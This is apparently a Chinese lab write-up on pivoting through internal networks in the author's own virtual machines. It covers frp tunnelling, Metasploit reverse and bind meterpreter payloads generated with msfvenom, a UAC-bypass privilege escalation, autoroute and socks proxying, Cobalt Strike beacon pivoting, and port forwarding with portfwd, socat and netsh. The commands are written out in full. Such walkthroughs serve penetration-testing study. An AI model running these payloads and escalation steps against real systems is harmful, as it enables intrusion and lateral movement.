代理与隧道
代理与隧道
彩笔花了很多时间完成本文,中途遇到各种问题,有的问题当天怎么都解决不了,第二天一开机就没了,有的问题做到一般发现实在解决不了,只能换思路。不管怎么说,总算是整出来了。
隧道技术:解决不出网协议上线问题(利用出网协议封装出网)
代理技术:解决网络通讯不通问题(利用跳板机建立节点后操作)
一般防火墙为主要原因就用隧道技术,网络架构为主要原因就用代理
入站规则:是用来限制远程主机访问本机的服务的
出站规则:是用来限制本机对外访问的规则
文章目录
0. 各种问题解决
虚拟机设置静态ip可能导致ping不通主机的情况,需要解决一下再继续实验(翻我实验一番外篇)。
如有图前后对不上的情况,那就是因为重新尝试太多次了
win10 虚拟机很卡经常白屏,win7 虚拟机下不了vmtools,通讯可以依靠同网段的ftp服务。
kali虚拟机如果开机锁了键盘,就重启,然后看图操作
metasploit上线的进程极为脆弱,一段时间自动连同木马消失,建议上线就进程迁移
1. firefox放行不安全端口
输入网址about:config
添加首选项network.security.ports.banned.override,值为0-65535
这样诸如6000,6666的不安全端口都可以访问了。
2. frp内网穿透
服务器端用的华为云ubuntu22,添加开放6000-7000和7500端口
客户端windows11
服务器端配置
xshell连上去,然后xftp连上去,把frp文件拖上去。
解压压缩包
tar -zxvf frp_0.60.0_linux_amd64.tar.gz
修改配置文件
vi frps.toml
# frp监听的端口,默认是7000,可以改成其他的
bindAddr = "0.0.0.0"
bindPort = 7000
kcpBindPort = 7000
auth.method = "token"
#服务端token密码,可根据自己需要进行配置
auth.token = "testtoken"
#后台管理地址,默认是127.0.0.1,如果是公网访问则改成0.0.0.0
webserver.addr = "0.0.0.0"
#服务端仪表板端口,可以根据实际自定义访问端口号
webserver.port = 7500
#访间web时的账号
webserver.user = "admin"
#访间web时的密码
webserver.password = "cllsse123"
# frp日志配置
log.to = "/var/log/frps.log"
log.level = "info"
log.maxDays = 3
# 允许的远程端口
allowPorts =[
{ start = 6000 , end = 7000},
]
创建service文件
vim /etc/systemd/system/frps.service
[Unit]
Description = frp service
After = network.target syslog.target
Wants = network.target
[Service]
Type = simple
# 启动服务的命令(此处写你的frps的实际安装目录)
ExecStart = /root/frp/frp_0.60.0_linux_amd64/frps -c /root/frp/frp_0.60.0_linux_amd64/frps.toml
[Install]
WantedBy = multi-user.target
重载服务文件
systemctl daemon-reload
systemctl start frps
systemctl status frps 查看服务状态
主机访问xxx.xxx.xxx.xxx:7500登录到管理端
客户端配置
用phpstudy在本地9015端口开了个http服务
frpc.toml
serverAddr = "xxx.xxx.xxx.xxx"
serverPort = 7000
loginFailExit = true
log.to = "./frpc.log"
log.level = "info"
log.maxDays = 3
auth.method = "token"
auth.token = "testtoken"
[[proxies]]
name = "test1"
type = "tcp"
localIP = "127.0.0.1"
localPort = 9015
remotePort = 6500
开cmd,frpc.exe -c frpc.toml
可以访问了
3. 代理转发
注意:ping 是 icmp, 必须要网卡级代理,就那种 tun 模式的代理
定义:
- 代理转发,也被称为网络代理,是一种特殊的网络服务。它允许一个终端(通常指客户端)通过这个服务与另一个终端(通常指服务器端)进行非直接的连接。
工作原理:
- 代理服务器在客户端和服务器端之间充当中间人的角色。当客户端发送请求时,请求首先被发送到代理服务器,然后代理服务器再将请求转发给目标服务器。目标服务器将响应返回给代理服务器,最后代理服务器将响应返回给客户端。
- 隧道代理(转发代理的一种)通过建立一个TCP连接通道,在客户端和目标服务器之间传递加密数据,确保数据的安全性。
应用场景:
- 代理转发常用于无法直接访问目标服务器的情况。例如,当客户端需要访问一个被防火墙或网络策略限制的服务器时,可以使用代理服务器进行转发。
- 代理转发还可以用于隐藏客户端的真实IP地址,保护客户端的安全性。
1. metasploit操作
给出一个场景
msf先通过反弹shell得到win10的权限,然后通过win10正向连接不出网的虚拟机win7。
虚拟机 windows 10
- 网卡1:192.168.137.9
- 网卡2:192.168.166.3
虚拟机 windows 7 192.168.166.4/24
在80端口使用python开启了http服务
python2:python.exe -m SimpleHTTPServer 80
python3:python -m http.server 80
虚拟机 kali 192.168.137.6
msfvenom生成后门
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.137.6 LPORT=3333 -f exe -o xd.exe
msf启动
su # 进root模式
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.137.6
set lport 3333
exploit
虚拟机win10 运行xd.exe
然后进行提权(其实不用提权也行)
先漏洞扫描
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
set session 6 # sessions指令查看存活连接
set showdescription true
exploit
使用漏洞
use exploit/windows/local/bypassuac_fodhelper
set session 6
set lport 9999
exploit
meterpreter > getuid
getsystem
getuid
查看路由信息
meterpreter > run autoroute -p
meterpreter > run get_local_subnets
meterpreter > run post/multi/manage/autoroute
在session里添加路由
meterpreter > run autoroute -s 192.168.166.0/255.255.255.0
或者在msf6界面添加指定路由,1表示接收的session编号
msf6 > route add 192.168.166.0 255.255.255.0 1
设置socks5代理服务器
background
use auxiliary/server/socks_proxy
show options
set srvhost 127.0.0.1 #本处设置IP为kali攻击机IP
set srvport 1080
run
vim /etc/proxychains4.conf 添加以下内容
socks5 127.0.0.1 1080
使用proxychains4来连接代理,测试成功
msf6 auxiliary(server/docks_proxy) > proxychains4 curl http://192.168.166.4:80
生成木马,放到win7虚拟机里
msfvenom --platform windows -p windows/x64/meterpreter/bind_tcp LPORT=5555 -f exe -o 5555.exe
win7 运行5555.exe启动服务器
然后kali正向连接
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.166.4
set lport 5555
exploit
正向连接成功
2. cobalt strike操作
参考cobalt strike&metasploit 小记反向连接上线win10后,更改延迟时间
beacon > sleep 10
在win10 beacon上设置socks服务器
开启代理服务器
新建Beacon TCP监听器
生成后门beacon_x64_server.exe,通过ftp服务器传给win7虚拟机,然后运行
在win10的beacon里
connect 192.168.166.4 4444
成功上线
4. 端口转发
定义:
- 端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为。它使得外部用户可以通过一个被激活的NAT路由器访问私有内部IP地址(局域网内部)上的一个端口。
工作原理:
- 端口转发通过路由器或代理服务器上的配置来实现。当外部用户尝试访问路由器的某个特定端口时,路由器会根据配置将请求转发到内部网络中的指定主机和端口上。
- 内部主机接收到请求后,将响应返回给路由器,然后路由器再将响应转发给外部用户。
应用场景:
- 端口转发常用于在内网建立服务器并希望外部用户能够访问的情况。例如,在家庭中建立了一个Web服务器,并希望外部用户能够通过互联网访问它,就可以使用端口转发将外部请求转发到家庭网络的内部IP地址和端口上。
- 端口转发还可以用于虚拟机与宿主机之间的通信,以及通过SSH等方式进行远程连接和管理。
1. msf使用portfwd
参数如下
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L >opt> 要监听的本地主机(可选)。
-h 帮助横幅。
-l >opt> 要监听的本地端口。
-p >opt> 要连接的远程端口
-r >opt> 要连接的远程主机
msf先反向连接win10,然后做端口转发
meterpreter > portfwd add -l 4399 -r 192.168.166.4 -p 4399
我们发送至本地4399端口的请求包被转发至192.168.166.4的4399端口
2. linux下使用socat
kali:192.168.137.6
win10:192.168.137.9
socat TCP4-LISTEN:20001,fork TCP4:192.168.137.9:80 &
curl http://127.0.0.1:20001
TCP4-LISTEN
表示监听一个TCP4端口(IPv4),fork表示每个连接都创建一个新进程处理数据流,TCP4:192.168.137.9:80
表示将数据转发到目标主机win10的80端口。这样,所有发送到kali的20001端口的数据流都会被转发到win10上的80端口。也就是说,在kali监听20001端口,所有访问kali:20001端口的,会返回win10:80的资源。
3. windows下使用netsh
管理员模式打开powershell
# 查看端口转发规则
netsh interface portproxy show v4tov4
# 添加端口转发规则
netsh interface portproxy add v4tov4 listenport=<监听端口> listenaddress=<监听地址> connectport=<目标端口> connectaddress=<目标地址>
# 删除端口转发规则
netsh interface portproxy delete v4tov4 listenport=<监听端口> listenaddress=<监听地址>
例如,要将传入到本机10000端口的流量转发到内网IP为192.168.1.100的机器的80端口,可以使用以下命令:
netsh interface portproxy add v4tov4 listenport=10000 listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.137.9
参考
小迪安全
R1gelX大佬